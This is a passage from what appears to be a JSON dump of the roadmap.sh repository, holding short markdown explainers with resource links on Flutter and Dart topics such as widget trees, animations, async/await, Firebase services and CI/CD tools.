 - 'software-design-architecture'\n  - 'product-manager'\nsitemap:\n  priority: 1\n  changefreq: monthly\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\nrenderer: editor\n---\n"
  },
  {
    "path": "src/data/roadmaps/engineering-manager/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/flutter/content/3-trees@24xYv3joKX1roqRGfBXmr.md",
    "content": "# Trees\n\nA tree is a data structure that is used to represent the hierarchy of widgets in a Flutter app. The tree structure allows Flutter to manage the layout, styling, and behavior of the widgets in the app.\n\nVisit the following resources to learn more:\n\n- [@official@Tree in Flutter](https://docs.flutter.dev/resources/inside-flutter#tree-surgery)\n- [@article@Beginning Flutter — Understanding Tree](https://medium.com/@JediPixels/beginning-flutter-understanding-the-widget-tree-3513c94dc356)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/advanced-dart@bvojoCWJRSB6pdBFM1SbY.md",
    "content": "# Advanced Dart\n\nAdvanced Dart concepts crucial for Flutter development include generics for reusable code, `async`/`await` for clean asynchronous operations, mixins for multiple inheritance, abstract classes for base implementations, streams for continuous event handling, isolates for parallel processing, futures for future value representation, null-aware operators for concise null handling, collection literals for efficient collection creation, and extension methods for adding functionality to existing classes, all contributing to more efficient and maintainable code.\n\nVisit the following resources to learn more:\n\n- [@official@Tutorials - Dart](https://dart.dev/tutorials)\n- [@article@Advanced Dart](https://techdynasty.medium.com/advanced-dart-in-flutter-elevating-your-development-skills-1c8ec309266f)\n- [@feed@Explore top posts about Dart](https://app.daily.dev/tags/dart?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/analytics@s5OVzjQp6k7rSphhv3hZE.md",
    "content": "# Analytics\n\nAnalytics is a key aspect of understanding user behavior and measuring app performance for Flutter apps. There are a number of analytics tools available for Flutter apps, each with their own set of features and benefits.\n\nVisit the following resources to learn more:\n\n- [@article@Top Flutter Analytics](https://fluttergems.dev/analytics-consumer-insights/)\n- [@video@Flutter Analytics using Firebase](https://www.youtube.com/watch?v=31KpJXqCayo)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/android-studio@QHPiMRg4IJXDErrEYamrJ.md",
    "content": "# Android Studio\n\nAndroid Studio is an IDE that can be used for developing Flutter applications as well as Android apps. Flutter is a UI toolkit for building beautiful, natively compiled applications for mobile, web, and desktop from a single codebase. In Android Studio, developers can use the Flutter plugin to access a suite of tools specifically designed for Flutter development, including:\n\n*   Flutter widget inspector\n*   Flutter outline\n*   Flutter rendering tree\n*   Flutter performance tool\n*   Flutter layout explorer\n\nBy providing a rich set of tools and features for Flutter development, Android Studio makes it easy for developers to build, test, and debug Flutter apps.\n\nVisit the following resources to learn more:\n\n- [@official@Android Studio for Flutter](https://docs.flutter.dev/development/tools/android-studio)\n- [@official@Get started with Android Studio](https://dart.dev/tools/jetbrains-plugin)\n- [@feed@Explore top posts about Android](https://app.daily.dev/tags/android?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/animated-builder@M6iJ0VZWB8mreItlxvvqI.md",
    "content": "# AnimatedBuilder\n\nAnimatedBuilder is a widget in Flutter that allows you to build animations. It takes an `Animation` object and a builder function as input, and it returns a widget that is rebuilt whenever the animation changes. The builder function is called with the BuildContext and the animation object and it should return the widget that should be animated. This can be used to create complex animations with ease, without having to manage animation state or listen to animation events in the widget tree.\n\nVisit the following resources to learn more:\n\n- [@official@AnimatedBuilder Class](https://api.flutter.dev/flutter/widgets/AnimatedBuilder-class.html)\n- [@article@Refactoring with AnimatedBuilders](https://docs.flutter.dev/development/ui/animations/tutorial#refactoring-with-animatedbuilder)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/animated-widget@yRY8MJuXxhDV6Hd-hTMRu.md",
    "content": "# AnimatedWidget\n\nAnimatedWidget is a Flutter widget that takes an `Animation` object as an argument and automatically updates whenever the animation changes. This can be useful when you want to create animations that are tightly coupled to a widget, for example, to animate the size or color of a widget. With `AnimatedWidget`, you can encapsulate the animation logic into a single widget and reuse it throughout your app. This makes it easier to manage and maintain your animations, as the animation code is centralized and decoupled from the widget tree.\n\nVisit the following resources to learn more:\n\n- [@official@Simplifying with Animated­Widget](https://docs.flutter.dev/development/ui/animations/tutorial#simplifying-with-animatedwidgets)\n- [@article@AnimatedWidget Class](https://api.flutter.dev/flutter/widgets/AnimatedWidget-class.html)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/animation-controller@eXaP_U-EzptBuOp5R0KK3.md",
    "content": "# AnimationController\n\nThis class lets you perform tasks such as:\n\n*   Play an animation forward or in reverse, or stop an animation.\n*   Set the animation to a specific value.\n*   Define the upperBound and lowerBound values of an animation.\n*   Create a fling animation effect using a physics simulation.\n\nBy default, an AnimationController linearly produces values that range from 0.0 to 1.0, during a given duration.\n\nVisit the following resources to learn more:\n\n- [@official@AnimationController - Flutter](https://docs.flutter.dev/ui/animations/tutorial#animationcontroller)\n- [@article@AnimationController class](https://api.flutter.dev/flutter/animation/AnimationController-class.html)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/animations@KLoL-055KShGrQ-NQosy8.md",
    "content": "# Animations\n\nFlutter’s animation support makes it easy to implement a variety of animation types. Many widgets, especially Material widgets, come with the standard motion effects defined in their design spec, but it’s also possible to customize these effects.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Animations](https://docs.flutter.dev/development/ui/animations)\n- [@article@Animation library](https://api.flutter.dev/flutter/animation/animation-library.html)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/app-store@JHkdIQRgf1bbL-HASvGi0.md",
    "content": "# Appstore\n\nApp Store is an important platform to consider when publishing Flutter apps. To publish an app on the App Store, developers need to have a developer account with Apple, which requires an annual fee.\n\nTo publish a Flutter app on the App Store, developers need to ensure that their app meets Apple's guidelines and requirements, which include guidelines for performance, design, and user experience. Once the app has been reviewed and approved by Apple, it can be published on the App Store and made available for download to iOS users.\n\nVisit the following resources to learn more:\n\n- [@official@Build and Release an iOS App](https://docs.flutter.dev/deployment/ios)\n- [@article@App Store App Review](https://developer.apple.com/app-store/review/)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content/appstore@JHkdIQRgf1bbL-HASvGi0.md",
    "content": "# AppStore"
  },
  {
    "path": "src/data/roadmaps/flutter/content/async--await@_guWOSGfTpErGkzs69g1R.md",
    "content": "# Async Await\n\nFlutter's `async`/`await` pattern simplifies asynchronous programming by enabling code that appears synchronous. The `async` keyword designates a function as asynchronous, allowing non-blocking execution, while `await` pauses execution until an asynchronous operation completes, resulting in cleaner and more maintainable asynchronous code.\n\nVisit the following resources to learn more:\n\n- [@official@Asynchronous Programming: async, await](https://dart.dev/codelabs/async-await)\n- [@official@Async widgets](https://docs.flutter.dev/development/ui/widgets/async)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/authentication@lCVoKYJlQEYE2viAuThk7.md",
    "content": "# Authentication\n\nFirebase Authentication is a service provided by Firebase that allows you to easily add user authentication to your Flutter app. With Firebase Authentication, you can authenticate users using email and password, phone number, or popular identity providers like Google, Facebook, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Make Authenticated Requests](https://docs.flutter.dev/cookbook/networking/authenticated-requests)\n- [@feed@Explore top posts about Authentication](https://app.daily.dev/tags/authentication?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/basics-of-dart@AubSeLi2nwNTUA-L3Kfn4.md",
    "content": "# Dart Basics\n\nDart is an open-source, general-purpose, object-oriented programming language with C-style syntax developed by Google in 2011. The purpose of Dart programming is to create a frontend user interfaces for the web and mobile apps. It can also be used to build server and desktop applications.\n\nVisit the following resources to learn more:\n\n- [@official@Dart Overview](https://dart.dev/overview)\n- [@video@What is Dart?](https://www.youtube.com/watch?v=sOSd6G1qXoY)\n- [@video@Dart in 100 Seconds](https://www.youtube.com/watch?v=NrO0CJCbYLA)\n- [@feed@Explore top posts about Dart](https://app.daily.dev/tags/dart?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/bdd@0fpwuPTW94iyNlsjXcPOO.md",
    "content": "# BDD\n\nBehavior-driven development (BDD) is a software development methodology that emphasizes collaboration between developers, testers, and stakeholders to define and verify the behavior of an application. BDD uses natural language to describe the expected behavior of the application and provides a shared understanding of the requirements for the development team.\n\nVisit the following resources to learn more:\n\n- [@article@Build Flutter with BDD](https://medium.com/tide-engineering-team/build-flutter-with-bdd-b4507170a2fe)\n- [@video@Tutorial - BDD in Flutter](https://www.youtube.com/watch?v=Kwvsc31FE_8)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/bitrise@1xTlq-0MaHN15KZid31Dk.md",
    "content": "# Bitrise\n\nBitrise is a cloud-based continuous integration and delivery (CI/CD) platform that can be used with Flutter mobile app development.\n\nBitrise provides a comprehensive suite of tools for automating the build, test, and deployment process for mobile apps, including apps built with Flutter. With Bitrise, developers can automate tasks such as building the app, running tests, and distributing the app to various app stores.\n\nVisit the following resources to learn more:\n\n- [@article@Adding a Flutter app to Bitrise](https://devcenter.bitrise.io/en/getting-started/quick-start-guides/getting-started-with-flutter-apps.html)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/bloc@ZfkaTipYJ1jLY-RC3mdmt.md",
    "content": "# BloC\n\nBloc (Business Logic Component) is a state management pattern used in Flutter to separate presentation logic from business logic. It helps to manage and maintain the app state, making it easier to test, debug, and reuse code. It uses streams to emit new states and reacts to changes in the state.\n\nVisit the following resources to learn more:\n\n- [@official@BLoC in Flutter](https://docs.flutter.dev/development/data-and-backend/state-mgmt/options#bloc--rx)\n- [@article@Get started with flutter_bloc](https://pub.dev/packages/flutter_bloc)\n- [@article@Flutter bloc for beginners](https://medium.com/flutter-community/flutter-bloc-for-beginners-839e22adb9f5)\n- [@video@Flutter Bloc - Tutorial](https://www.youtube.com/watch?v=Ep6R7U9wa0U)\n- [@video@BLoC Pattern: A Comprehensive Tutorial](https://www.youtube.com/watch?v=Qe47b8r5epc&ab_channel=MaxonFlutter)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/built-in-types@TT6HoilzgmS8CAPiTTKZ0.md",
    "content": "# Built-in Types\n\nThere are several built-in data types, including int, double, String, bool, List, Sets, and Map. Additionally, there are other complex data types like dynamic, var, and Object in Dart programming language, which are used in Flutter.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in types](https://dart.dev/language/built-in-types)\n- [@article@Dart and Flutter Complete Guide — Mastering “Built-In Types”](https://medium.com/flutter-line/dart-and-flutter-mastering-built-in-types-b080ac72abfd)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/changenotifier@VRWeqMV7qOdPzM5RfgpGF.md",
    "content": "# Change Notifier\n\nFlutter's ChangeNotifier is a fundamental class for state management in Flutter. It allows developers to handle and notify listeners of data changes, ensuring efficient updates to the user interface. By extending ChangeNotifier, developers can create custom classes to represent specific states or data models. Integrating ChangeNotifier enhances the user experience by managing state and dynamically updating the UI. It simplifies state management and enables the creation of interactive Flutter applications.\n\nVisit the following resources to learn more:\n\n- [@official@ChangeNotifier class - Flutter](https://api.flutter.dev/flutter/foundation/ChangeNotifier-class.html)\n- [@official@Simple app state management](https://docs.flutter.dev/data-and-backend/state-mgmt/simple)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/ci--cd@ekKzwQCMOYJLVN5KAK-ew.md",
    "content": "# CI/CD\n\nCI/CD (Continuous Integration and Continuous Deployment) is a software development practice that helps to automate the process of building, testing, and deploying mobile apps, including Flutter apps.\n\nWith CI/CD, developers can automate the build, test, and deployment process for their Flutter apps, making it easier to catch bugs and deploy new features quickly and efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@CI/CD - Flutter](https://docs.flutter.dev/deployment/cd)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/cloud-functions@bVeHBEoR_4kfPsEHmVYbp.md",
    "content": "# Firebase Cloud Functions\n\nCloud Functions for Firebase is a serverless computing platform that simplifies backend development by allowing developers to write JavaScript or TypeScript code, which runs automatically in response to events from Firebase services or incoming HTTP requests. This framework leverages Google's cloud infrastructure to provide a scalable and managed environment, making it easier to build powerful serverless applications without the need for server maintenance.\n\nVisit the following resources to learn more:\n\n- [@official@Cloud Functions](https://firebase.google.com/docs/functions)\n- [@video@Getting Started with Firebase Cloud Functions](https://youtube.com/playlist?list=PLl-K7zZEsYLkPZHe41m4jfAxUi0JjLgSM&si=yx0EwIXxhG2PHRXp)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/codemagic@DcSBkhcOG55_dNaLF1FWA.md",
    "content": "# Codemagic\n\nCodemagic is a cloud-based continuous integration and delivery (CI/CD) platform specifically designed for Flutter mobile app development.\n\nCodemagic provides a simple and efficient way for Flutter developers to automate the build, test, and deployment process for their apps. It integrates with the Flutter framework and allows developers to configure the build process, run tests, and distribute the app to various app stores with just a few clicks.\n\nVisit the following resources to learn more:\n\n- [@official@Codemagic - Flutter](https://codemagic.io/start/)\n- [@article@Create a build archive with Codemagic](https://docs.flutter.dev/deployment/ios#create-a-build-archive-with-codemagic-cli-tools)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/collections@Nx6YqH-MiqX-UFMQNqeEp.md",
    "content": "# Collections\n\nDart provides built-in collections like Lists (ordered, indexed), Sets (unordered, unique), Maps (key-value pairs), Queues (FIFO), and Stacks (LIFO) for efficient data storage and manipulation, useful in various scenarios like data storage, state management, and algorithm implementation.\n\nVisit the following resources to learn more:\n\n- [@official@Generic Collections in Flutter](https://dart.dev/guides/language/language-tour#generic-collections-and-the-types-they-contain)\n- [@official@Iterable Collections](https://dart.dev/codelabs/iterables)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/control-flow-statements@keS-4La_a227quDYYbOJT.md",
    "content": "# Control Flow Statements\n\nDart's control flow statements manage program execution: `if-else` for conditional logic, `for`, `while`, and `do-while` loops for repetition, `switch-case` for multi-way selection, and `break` and `continue` to alter loop behavior, enabling complex program logic.\n\nVisit the following resources to learn more:\n\n- [@official@Branches](https://dart.dev/language/branches)\n- [@official@Loops](https://dart.dev/language/loops)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/core-libraries@nQio4JabDrFCmScx59Qit.md",
    "content": "# Core Libraries\n\nDart has a rich set of core libraries that provide essentials for many everyday programming tasks such as working on collections of objects (dart:collection), making calculations (dart:math), and encoding/decoding data (dart:convert).\n\nVisit the following resources to learn more:\n\n- [@official@Core Libraries](https://dart.dev/guides/libraries)\n- [@official@Libraries - Flutter API](https://api.flutter.dev/)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/cupertino-widgets@L8oUQA4OAINr-WshHaOPZ.md",
    "content": "# Cupertino Widgets\n\nCupertino widgets are a set of Flutter widgets that mimic the look and feel of Apple's iOS user interface. They are designed to provide a consistent look and feel on both iOS and Android devices, and include widgets such as CupertinoButton, CupertinoAlertDialog, and CupertinoSlider. These widgets are useful for building cross-platform apps that need to conform to the iOS design aesthetic.s\n\nVisit the following resources to learn more:\n\n- [@official@Cupertino (iOS-style) Widgets](https://docs.flutter.dev/development/ui/widgets/cupertino)\n- [@article@Flutter Cupertino Tutorial](https://blog.logrocket.com/flutter-cupertino-tutorial-build-ios-apps-native/)\n- [@video@Flutter Cupertino Widgets](https://www.youtube.com/watch?v=L-TY_5NZ7z4)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/curved-animation@F1kbyjRR2uHRbTe90LTFP.md",
    "content": "# CurvedAnimations\n\nCurved animations in Flutter can be achieved using the \"CurvedAnimation\" class. This class takes in a \"Curve\" object that defines the rate of change of the animation over time. The most commonly used curve is the \"Curves.easeInOut\" curve, which starts slow, speeds up in the middle, and then slows down again towards the end.\n\nVisit the following resources to learn more:\n\n- [@official@Curved­Animation](https://docs.flutter.dev/development/ui/animations/tutorial)\n- [@article@CurvedAnimation Class](https://api.flutter.dev/flutter/animation/CurvedAnimation-class.html)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/dart-pad@vR38pAZOfI55R7N7NLY5N.md",
    "content": "# DartPad\n\nDartPad is an online tool that allows developers to write and run Dart code snippets. It can also be used to run Flutter code, making it a convenient way to try out Flutter apps and widgets without having to set up a full development environment.\n\nVisit the following resources to learn more:\n\n- [@official@DartPad](https://dart.dev/tools/dartpad)\n- [@official@DartPad in Tutorials](https://dart.dev/resources/dartpad-best-practices)\n- [@feed@Explore top posts about Dart](https://app.daily.dev/tags/dart?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/dependency-injection@fhPl9rycPa1r10fuEuNhi.md",
    "content": "# Dependency Injection\n\nDependency Injection is a design pattern that allows objects to receive their dependencies from external sources instead of creating them internally. In Flutter, this can be useful for managing complex state, reducing coupling between components, and making testing easier.\n\nVisit the following resources to learn more:\n\n- [@article@Dependency Injection](https://docs.flutter.dev/app-architecture/case-study/dependency-injection)\n- [@article@Dependency Injection In Flutter](https://medium.com/@rk0936626/dependency-injection-in-flutter-3e489ba1b988)\n- [@video@Flutter Dependency Injection For Beginners](https://www.youtube.com/watch?v=vBT-FhgMaWM)\n- [@feed@Explore top posts about Dependency Injection](https://app.daily.dev/tags/dependency-injection?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/deployment@mdSWrWi-1n_YlY5iTJwZp.md",
    "content": "# Deployment\n\nDeployment in Flutter refers to the process of releasing a Flutter app to end-users. Deploying a Flutter app involves a combination of technical skills and experience, as well as knowledge of the relevant app stores and their policies and requirements.\n\nVisit the following resources to learn more:\n\n- [@official@Web Deployment](https://dart.dev/web/deployment)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/design-patterns@MLdt_37kpF2eV0oy56GZF.md",
    "content": "# Design Patterns\n\nDesign patterns are solutions to common problems in software development that can be used to improve the quality and maintainability of your code.\n\nVisit the following resources to learn more:\n\n- [@article@Flutter - Design](https://dart.dev/guides/language/effective-dart/design)\n- [@article@Cookbook Designs in Flutter](https://docs.flutter.dev/cookbook/design)\n- [@video@Design Patterns Explained in 10 Minutes](https://www.youtube.com/watch?v=tv-_1er1mWI)\n- [@feed@Explore top posts about Design Patterns](https://app.daily.dev/tags/design-patterns?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/design-principles@drwRSEnl1-ziCvxWJZMJ2.md",
    "content": "# Design Principles\n\nFlutter development emphasizes design principles like Material Design, responsiveness, user-centeredness, simplicity, consistency, accessibility, and performance to create visually appealing and user-friendly applications that function seamlessly across various devices and cater to diverse user needs.\n\nVisit the following resources to learn more:\n\n- [@article@Design - Principles](https://docs.flutter.dev/cookbook/design)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/dev-tools@Jti4RmGDn7jVaHOxtTwPc.md",
    "content": "# Dev Tools\n\nFlutter DevTools is a suite of development tools provided by Flutter to help developers build, test, and debug Flutter apps.\n\nVisit the following resources to learn more:\n\n- [@official@Flutter - DevTools](https://docs.flutter.dev/development/tools/devtools/overview)\n- [@official@Dart DevTools](https://dart.dev/tools/dart-devtools)\n- [@feed@Explore top posts about Tools](https://app.daily.dev/tags/tools?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/development-environment@HCJXVgnglYuRhK0zl3iPG.md",
    "content": "# Setup Development Environment\n\nTo set up a development environment for Flutter, you need to install the following software:\n\n*   Flutter SDK: Download and install the latest version of the Flutter SDK from the official website.\n*   Integrated Development Environment (IDE): You can use Android Studio, Visual Studio Code, IntelliJ IDEA or any other IDE of your choice.\n*   Emulator or a physical device: You can use an emulator or a physical device to run and test your Flutter apps. You can use the Android emulator provided by Android Studio or use a physical Android or iOS device.\n*   Git: Git is used for version control and is recommended for Flutter development. You can download and install Git.\n*   Dart SDK: Dart is the programming language used by Flutter, and the Dart SDK is required to develop Flutter apps. The Dart SDK is included in the Flutter SDK.\n\nOnce you have installed all the required software, you can create a new Flutter project using the Flutter CLI or your IDE, and start building your app.\n\nVisit the following resources to learn more:\n\n- [@official@Get Started with Flutter](https://docs.flutter.dev/get-started/install)\n- [@official@Installing Dart SDK](https://dart.dev/get-dart)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/fast-lane@hd4O2UPI9bZiyGuCMA-J4.md",
    "content": "# Fast lane\n\nFastlane is a third-party tool for automating the development and deployment process for mobile apps, including apps built with Flutter.\n\nFastlane provides a suite of tools for automating tasks such as building, testing, and distributing apps. For example, fastlane can automate the process of building an app, creating a release candidate, and submitting the app to the app store.\n\nVisit the following resources to learn more:\n\n- [@official@Fast Lane - CI/CD in Flutter](https://docs.flutter.dev/deployment/cd)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/firebase-analytics@g2qXhkk6oGaBJy8Y2JOwW.md",
    "content": "# Firebase Analytics\n\nFirebase Analytics is a free analytics tool provided by Google that helps to understand user behavior and measure app performance for mobile apps, including those built with Flutter.\n\nWith Firebase Analytics, Flutter developers can track user interactions with their app, including page views, events, and user properties, and use this data to gain insights into user behavior. Firebase Analytics provides a range of tools and features for analyzing this data, including real-time dashboards, user segmentation, and funnels.\n\nVisit the following resources to learn more:\n\n- [@official@Flutter - Firebase](https://docs.flutter.dev/development/data-and-backend/firebase)\n- [@article@How To Add Firebase Analytics in Flutter](https://medium.datadriveninvestor.com/how-to-add-firebase-analytics-to-your-flutter-app-641fbda1d224?gi=ad489389a531)\n- [@feed@Explore top posts about Firebase](https://app.daily.dev/tags/firebase?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/firebase-app-dist@akQ7SEHiZm9pZK49rsbO2.md",
    "content": "# Firebase App Distribution\n\nFirebase App Distribution is a service provided by Firebase, a mobile development platform owned by Google, that makes it easy to distribute pre-release versions of a mobile app to testers and stakeholders.\n\nWith Firebase App Distribution, developers can upload a pre-release version of their Flutter mobile app to the Firebase platform, and then invite testers and stakeholders to download and test the app. Testers and stakeholders can provide feedback directly from the app, making it easier for developers to fix bugs and make improvements before releasing the app to the general public.\n\nVisit the following resources to learn more:\n\n- [@official@Firebase Hosting](https://firebase.google.com/docs/hosting)\n- [@feed@Explore top posts about Firebase](https://app.daily.dev/tags/firebase?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/firebase@EVd1rLBHjKbtgkIE7InS7.md",
    "content": "# Firebase"
  },
  {
    "path": "src/data/roadmaps/flutter/content/firestore@cMfsRtvzvDZZJ0TqeUOxm.md",
    "content": "# Firestore\n\nFirebase Firestore is a cloud-based NoSQL document database service provided by Firebase that makes it easy to store, manage, and retrieve data in your Flutter app. Firestore is a flexible, scalable, and easy-to-use database that allows you to store and retrieve data in the form of documents, collections, and fields.\n\nVisit the following resources to learn more:\n\n- [@official@Firebase Firestore](https://firebase.google.com/docs/firestore)\n- [@video@Using Firestore - Flutter](https://www.youtube.com/watch?v=DqJ_KjFzL9I)\n- [@feed@Explore top posts about Firestore](https://app.daily.dev/tags/firestore?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/flutter-cli@FrbleiQ4BbIEbR4_v9o8N.md",
    "content": "# Flutter CLI\n\nFlutter CLI (Command Line Interface) is a command-line tool that is used to develop, build, and run Flutter applications. It provides a set of commands and tools that developers can use to create, test, and deploy Flutter apps from the terminal. Some of the common tasks that can be performed using the Flutter CLI include:\n\n*   Creating a new Flutter project\n*   Running Flutter app on a connected device or emulator\n*   Building and deploying Flutter app to app stores\n*   Updating the Flutter framework and packages\n*   Analyzing the performance of Flutter apps\n\nVisit the following resources to learn more:\n\n- [@official@The Flutter CLI](https://docs.flutter.dev/reference/flutter-cli)\n- [@official@CLI Packages in Flutter](https://dart.dev/server/libraries#command-line-packages)\n- [@official@Get Started with Flutter CLI](https://dart.dev/tutorials/server/get-started)\n- [@feed@Explore top posts about CLI](https://app.daily.dev/tags/cli?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/flutter-inspector@ehlGkYI3dqzu3B1pkhg9t.md",
    "content": "# Flutter Inspector\n\nIt is a tool in the Flutter SDK that provides a visual representation of the widget tree in a Flutter app. It allows developers to inspect the widgets in their app, see the properties and styles applied to each widget, and interact with the app in real-time.\n\nVisit the following resources to learn more:\n\n- [@official@Using the Flutter Inspector](https://docs.flutter.dev/development/tools/devtools/inspector)\n- [@video@How to Use the Flutter Inspector](https://www.youtube.com/watch?v=CcLfGJZS8ns)\n- [@feed@Explore top posts about Flutter](https://app.daily.dev/tags/flutter?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/flutter-internals@dgdv8sDKkgQ365mR0kBR3.md",
    "content": "# Flutter Internals\n\nThe internal workings of Flutter refer to the underlying mechanisms and architecture that make up the Flutter framework. Flutter is a reactive framework for building user interfaces, which means that it allows developers to build dynamic, responsive apps that update automatically in response to changes in the state of the app.\n\nVisit the following resources to learn more:\n\n- [@article@Flutter - Internals](https://www.didierboelens.com/2019/09/flutter-internals/)\n- [@article@Overview of Flutter Internals](https://flutter.megathink.com/)\n- [@article@A Guide To Flutter Internals](https://medium.com/@subroto.2003/a-guide-to-flutter-internals-ce8d64d01c50)\n- [@video@Flutter and Dart | Widget & Flutter Internals](https://www.youtube.com/watch?v=FBXMvOmiOLE)\n- [@feed@Explore top posts about Flutter](https://app.daily.dev/tags/flutter?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/flutter-outline@wisXrfrmnZYB3hs5f3_VS.md",
    "content": "# Flutter Outline\n\nFlutter Outline is a feature in the Flutter development environment (IDE) that provides a tree-like representation of the widgets and elements in your Flutter app. It shows the hierarchy of the widgets, their relationships, and the structure of your app.\n\nVisit the following resources to learn more:\n\n- [@official@Flutter Widget Tree](https://docs.flutter.dev/tools/devtools/inspector#flutter-widget-tree)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/flutter-pub--dart-pub@9xZlW6S-5-uDNWb7qzBmG.md",
    "content": "# Flutter pub dart pub\n\n`pub` is the package manager for Dart and Flutter, used for managing dependencies and publishing packages.\n\n`pub` is used to manage both Dart packages and Flutter plugins. This makes it easy to find and use packages that extend the functionality of your Flutter application.\n\n`pub` is an essential tool for Dart and Flutter development, providing a centralized repository for packages, making it easier to find, install, and manage dependencies in your projects.\n\nVisit the following resources to learn more:\n\n- [@official@Overview of Dart pub](https://dart.dev/tools/pub/cmd)\n- [@feed@Explore top posts about Dart](https://app.daily.dev/tags/dart?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/fonts@cXsIM4rZsBChVdrm8poOp.md",
    "content": "# Fonts\n\nYou can use custom fonts in your app by including the font file in your app's assets and specifying the font in your app's styles. To use a custom font:\n\n*   Add the font files to your app's assets folder.\n*   In your pubspec.yaml file, specify the fonts under the flutter section\n*   In your app's styles, specify the font family\n*   Use the font in a Text widget\n\nVisit the following resources to learn more:\n\n- [@official@Fonts](https://docs.flutter.dev/cookbook/design/fonts)\n- [@article@How to use custom fonts in Flutter](https://blog.logrocket.com/use-custom-fonts-flutter/)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/functional-programming@x5q_bWpxmpJFK8eaWZxuY.md",
    "content": "# Functional Programming\n\nDart supports functional programming through higher-order functions, immutable data structures, lambdas/closures, and pure functions, enabling developers to write code that emphasizes immutability, statelessness, and data transformation via functions.\n\nVisit the following resources to learn more:\n\n- [@official@Functional Programming - Flutter](https://docs.flutter.dev/resources/faq)\n- [@article@Brief Overview of Functional Programming](https://buildflutter.com/functional-programming-with-flutter/)\n- [@article@Functional Programming in Dart & Flutter](https://yogi-6.medium.com/list/functional-programming-in-dart-flutter-2f3ac9d7fa39)\n- [@feed@Explore top posts about Functional Programming](https://app.daily.dev/tags/functional-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/functions@Pek6vOO-qKCetTznCGv6f.md",
    "content": "# Functions\n\nDart is a true object-oriented language, so even functions are objects and have a type, Function. This means that functions can be assigned to variables or passed as arguments to other functions. You can also call an instance of a Dart class as if it were a function.\n\nVisit the following resources to learn more:\n\n- [@official@Functions](https://dart.dev/language/functions)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content/futures@I1cqvOsVD7-86VPnrdTAv.md",
    "content": "# Futures\n\nFutures in Flutter are a way of representing a potential value that will be available at some point in the future. Some key points about Futures in Flutter:\n\n*   Futures are used for asynchronous programming in Flutter\n*   Futures return a single value (or an error) and are often used with `async` and `await`.\n*   The `then` method can be used to attach a callback to a Future that will be executed once the Future's value is available\n*   Futures can be combined with other Futures using `Future.wait` or `Future.whenComplete` methods\n*   Futures are often used with network requests, file I/O operations, and other long-running tasks in Flutter.\n\nVisit the following resources to learn more:\n\n- [@official@Futures and Error handling](https://dart.dev/guides/libraries/futures-error-handling)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/fvm@m92WPPeZUIeD8IgunLXe2.md",
    "content": "# FVM (Flutter Version Manager)\n\nFlutter version manager is a tool used to manage different versions of Flutter SDK on a developer's machine. Flutter is a popular open-source mobile application development framework, and its SDK is updated frequently with new features, bug fixes, and improvements. However, sometimes developers need to work with older versions of Flutter due to various reasons like compatibility issues or project requirements.\n\nVisit the following resources to learn more:\n\n- [@official@Flutter Version Manager](https://fvm.app/)\n- [@official@Flutter Version Manager - Documentation](https://fvm.app/documentation/getting-started)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/getx@nK_ZKTfNc8P-RJoz5jY32.md",
